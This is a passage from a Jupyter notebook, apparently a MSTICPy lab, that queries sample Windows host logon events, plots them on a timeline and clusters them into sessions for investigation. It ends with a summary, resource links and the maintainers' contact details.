AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\NETWORK SERVICE\",\"NT AUTHORITY\\\\LOCAL SERVICE\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\IUSR\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],\"TimeGenerated\":{\"__ndarray__\":\"ADCQBQGOdkIAEKunAI52QgBA2qkAjnZCAHCCTACOdkIAcO5PAI52QgCwtRUAjnZCAIDUFQCOdkIAcJcfAI52QgAwzxMAjnZCAPDWEwCOdkIA0O0TAI52QgBQCBQAjnZCAFAOFACOdkIAcKIUAI52QgAQoxQAjnZCAECnFACOdkIA0JUVAI52QgCgoBUAjnZCANCgFQCOdkIAsKIVAI52QgDwohUAjnZCAFCjFQCOdkIAQKYVAI52QgBwphUAjnZCAODmDweOdkIAcPxVAI52QgAQjO6/jXZCAHC+ca+NdkIAsCVSkI12QgBAUhCWjXZCAPCBEJaNdkIAwAYUkI12QgAAER+QjXZCANCIJZCNdkIAkNYlkI12QgDABQxdjXZCAHCXCE6NdkIAEC/cTY12QgBQ1dxNjXZCAMDi7yONdkIAMDAcJI12QgBQd12hjnZCAKAiT6OOdkIA0P36o452QgBQbgWkjnZCAFD+EKSOdkIAEIQZoY52QgCQxy+fjnZCAABFMJ+OdkIAMEgyn452QgDAziyLjnZCALB5XaSOdkIAIBTTo452QgDwhYiljnZCAFAu0aOOdkIAkHx7jo52QgAgqMajjnZCAGCuxqOOdkIAMLnGo452QgCwxMajjnZCAADIxqOOdkIAgKzGo452QgCwrMajjnZCAIC2xqOOdkIA8OTGo452QgBw7MajjnZCAHDsxqOOdkIAUO7Go452QgDw7sajjnZCANDvxqOOdkIAcPDGo452QgBA8cajjnZCADD1xqOOdkIA0CyTjI52QgCQ+tSjjnZCAOBNyIeOdkIAkAmrh452QgDgCsejjnZCAPCWzqOOdkIAcFPSo452QgCw2ZuHjnZCAGCPt0WOdkIAEDG7Uo52QgDQCaBNjnZCAIAAnoeOdkIAgIE3O452QgDQsjs7jnZCALDLUzmOdkIAMLt2OI52QgCQS6I6jnZCAHBNojqOdkIA0PylOo52QgCQS6I6jnZCAHBNojqOdkIAEO72Oo52QgCQc2U6jnZCAGAqWjWOdkIAIN5oNY52QgAwinI1jnZCALCq/TaOdkIA4Bv2No52QgAQx1Q8jnZCACBjVTyOdkIAAJzIPI52QgCAqAU8jnZCAPCpBTyOdkIAYEA/NY52QgCwRV08jnZCAJATZDyOdkIA4F53No52QgCgRHw2jnZCAICE2jWOdkIAUDqEO452QgAwPIQ7jnZCANC39g+PdkIAwJTP/o52QgAQieb1jnZCAPAbBwSPdkIAMHWtBY92QgCwEM/0jnZCAAAUz/SOdkIAsNA29o52QgDw1dj1jnZCAGBiW/GOdkIAQDDq6452QgBQst3HjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[126]},\"index\":[0,5,6,7,8,9,10,11,13,14,17,18,19,20,21,22,23,24,25,26,27,28,29,30,32,33,37,38,39,40,41,42,43,44,45,46,47,48,49,51,52,54,55,56,57,58,59,60,61,62,64,65,66,67,68,69,71,72,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98,101,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,125,126,127,128,129,130,133,134,135,136,142,143,144,145,146,147,148,149,151,152,159,160,161,162,163],\"y_index\":[4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4]},\"selected\":{\"id\":\"3124\"},\"selection_policy\":{\"id\":\"3123\"}},\"id\":\"2965\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3077\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3072\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"3117\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"3118\",\"type\":\"Selection\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"3141\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"3142\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2961\"},\"glyph\":{\"id\":\"3063\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"3065\"},\"nonselection_glyph\":{\"id\":\"3064\"},\"view\":{\"id\":\"3067\"}},\"id\":\"3066\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"3144\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"3143\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"3146\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"3149\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3065\",\"type\":\"Scatter\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"3148\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3099\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"3147\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3078\",\"type\":\"Scatter\"}],\"root_ids\":[\"3105\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"32fb84bd-d296-4a29-80fa-d7891b8f15cd\",\"root_ids\":[\"3105\"],\"roots\":{\"3105\":\"d2bd0754-db77-4eb3-b666-c1a2dafebbe7\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "3105"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.models.layouts.Column\">Column</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'3105', <span id=\"3389\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">children&nbsp;=&nbsp;[Figure(id='2968', ...), Figure(id='3000', ...)],</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">rows&nbsp;=&nbsp;'auto',</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">spacing&nbsp;=&nbsp;0,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"3388\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"3389\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"3388\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='3105', ...)"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Acquire data using a built in query\n",
    "host_logons = qry_prov.WindowsSecurity.list_host_logons()\n",
    "\n",
    "# Display timeline\n",
    "tooltip_cols = [\"TimeGenerated\", \"Account\", \"LogonType\", \"TimeGenerated\"]\n",
    "host_logons.mp_plot.timeline(\n",
    "    title=\"Host Logons\", source_columns=tooltip_cols, group_by=\"LogonType\", height=200\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "When presented with a large number of events such as we have here its useful to cluster these into a more managable number of groups. MSTICpy contains [clustering features](https://msticpy.readthedocs.io/en/latest/msticpy.sectools.html?highlight=cluster_events#msticpy.sectools.eventcluster.dbcluster_events) that can be used against a number of data types. Once clustering is complete we use another [widget](https://msticpy.readthedocs.io/en/latest/msticpy.nbtools.html?highlight=SelectItem#msticpy.nbtools.nbwidgets.SelectItem) to let the user select the cluster they want to focus on."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "2cb2996901944c1d841ee6742fee5ef3",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='SYSTEM:    (logontype 5)   timerange: 2019-02-09 12:32:50.220000 - 2019-02-15 11:51…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<hr>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "        <style>\n",
       "            .table_logon {border-collapse: collapse; width: 50%;}\n",
       "            .cell_logon {border: 1px solid #ddd !important;\n",
       "                text-align: left !important; padding: 15px !important;}\n",
       "        </style>\n",
       "        <table class='table_logon'><tr class='cell_logon'><td class='cell_logon'><b>Account: </b>SYSTEM<br><b>Account Domain: </b>NT AUTHORITY<br><b>Logon Time: </b>2019-02-09 12:32:50.220000<br><b>Logon type: </b>5(Service)<br><b>User Id/SID: </b>S-1-5-18<br>&nbsp;&nbsp;SID S-1-5-18 is LOCAL_SYSTEM<br><br><b>Subject (source) account: </b>WORKGROUP/MSTICAlertsWin1$<br><b>Logon process: </b>Advapi  <br><b>Authentication: </b>Negotiate<br><b>Source IpAddress: </b>-<br><b>Source Host: </b>-<br><b>Logon status: </b><br></td></tr></table>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.analysis.eventcluster import (\n",
    "    _string_score,\n",
    "    add_process_features,\n",
    "    dbcluster_events,\n",
    ")\n",
    "\n",
    "# Get data annd convert some values into numericals\n",
    "logon_features = host_logons.copy()\n",
    "logon_features[\"AccountNum\"] = host_logons.apply(\n",
    "    lambda x: _string_score(x.Account), axis=1\n",
    ")\n",
    "logon_features[\"TargetUserNum\"] = host_logons.apply(\n",
    "    lambda x: _string_score(x.TargetUserName), axis=1\n",
    ")\n",
    "logon_features[\"LogonHour\"] = host_logons.apply(lambda x: x.TimeGenerated.hour, axis=1)\n",
    "\n",
    "# run clustering\n",
    "(clus_logons, _, _) = dbcluster_events(\n",
    "    data=logon_features,\n",
    "    time_column=\"TimeGenerated\",\n",
    "    cluster_columns=[\"AccountNum\", \"LogonType\", \"TargetUserNum\"],\n",
    "    max_cluster_distance=0.0001,\n",
    ")\n",
    "\n",
    "# Sort and format the clustering scores to group similar logon events into sessions\n",
    "dist_logons = clus_logons.sort_values(\"TimeGenerated\")[\n",
    "    [\"TargetUserName\", \"TimeGenerated\", \"LastEventTime\", \"LogonType\", \"ClusterSize\"]\n",
    "]\n",
    "dist_logons = dist_logons.apply(\n",
    "    lambda x: (\n",
    "        f\"{x.TargetUserName}:    \"\n",
    "        f\"(logontype {x.LogonType})   \"\n",
    "        f\"timerange: {x.TimeGenerated} - {x.LastEventTime}    \"\n",
    "        f\"count: {x.ClusterSize}\"\n",
    "    ),\n",
    "    axis=1,\n",
    ")\n",
    "# Extract the distinct sessions\n",
    "dist_logons = {v: k for k, v in dist_logons.to_dict().items()}\n",
    "\n",
    "\n",
    "def show_logon(idx):\n",
    "    return nbdisplay.format_logon(pd.DataFrame(clus_logons.loc[idx]).T)\n",
    "\n",
    "\n",
    "# Display the sessions in a selection widget for later use\n",
    "logon_wgt = nbwidgets.SelectItem(\n",
    "    description=\"Select logon cluster to examine\",\n",
    "    item_dict=dist_logons,\n",
    "    action=show_logon,\n",
    "    height=\"200px\",\n",
    "    width=\"100%\",\n",
    "    auto_display=True,\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "<h1 style=\"border: 1px solid;background-color: LightGray; padding: 10px\">Summary</h1>\n",
    "\n",
    "MSTICPy has many features, in the lab you have only just started to scratch the surface. We have many more features to explore.<br>\n",
    "In addition MSTICPy is a work in progress and we are very open to contributions, improvements, feedback, and feature requests from the community.\n",
    "\n",
    "---\n",
    "\n",
    "<h1 style=\"border: 1px solid;background-color: LightGray; padding: 10px\">Resources</h1>\n",
    "\n",
    "MSTICPy Documentation - https://msticpy.readthedocs.io<br>\n",
    "GitHub repo - https://github.com/microsoft/msticpy<br>\n",
    "Blog - https://msticpy.medium.com<br>\n",
    "\n",
    "Sample notebooks:\n",
    "- https://github.com/microsoft/msticpy/tree/master/docs/notebooks\n",
    "- https://github.com/Azure/Azure-Sentinel-Notebooks\n",
    "\n",
    "\n",
    "<h1 style=\"border: 1px solid;background-color: LightGray; padding: 10px\">Contacts</h1>\n",
    "\n",
    "MSTICPy is built and maintained by:\n",
    "<ul>\n",
    "    <li>Ian Hellen</li>\n",
    "    <li>Pete Bryan</li>\n",
    "    <li>Ashwin Patil</li>\n",
    "</ul>\n",
    "\n",
    "If you have any questions please reach out to us on [GitHub](https://github.com/microsoft/msticpy) or at:<br>\n",
    "Email - msticpy@microsoft.com<br>\n",
    "Twitter - [@msticpy](https://twitter.com/msticpy), [@ianhellen Ian Hellen](https://twitter.com/ianhellen), [@MSSPete (Pete Bryan)](https://twitter.com/MSSPete), [@AshwinPatil (Ashwin Patil)](https://twitter.com/ashwinpatil)<br>\n",
    "GitHub - [@ianhelle](https://github.com/ianhelle), [@PeteBryan](https://github.com/petebryan), [@Ashwin-Patil](https://github.com/ashwin-patil)<br>\n",
    "LinkedIn - [@ianhellen](https://www.linkedin.com/in/ianhellen/), [@PeteBryan](https://www.linkedin.com/in/peter-bryan-77588473/), [@AshwinPatil](https://www.linkedin.com/in/ashwinrp/)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.12"
  },
  "widgets": {
   "application/vnd.jupyter.widget-state+json": {
    "state": {},
    "version_major": 2,
    "version_minor": 0
   }
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}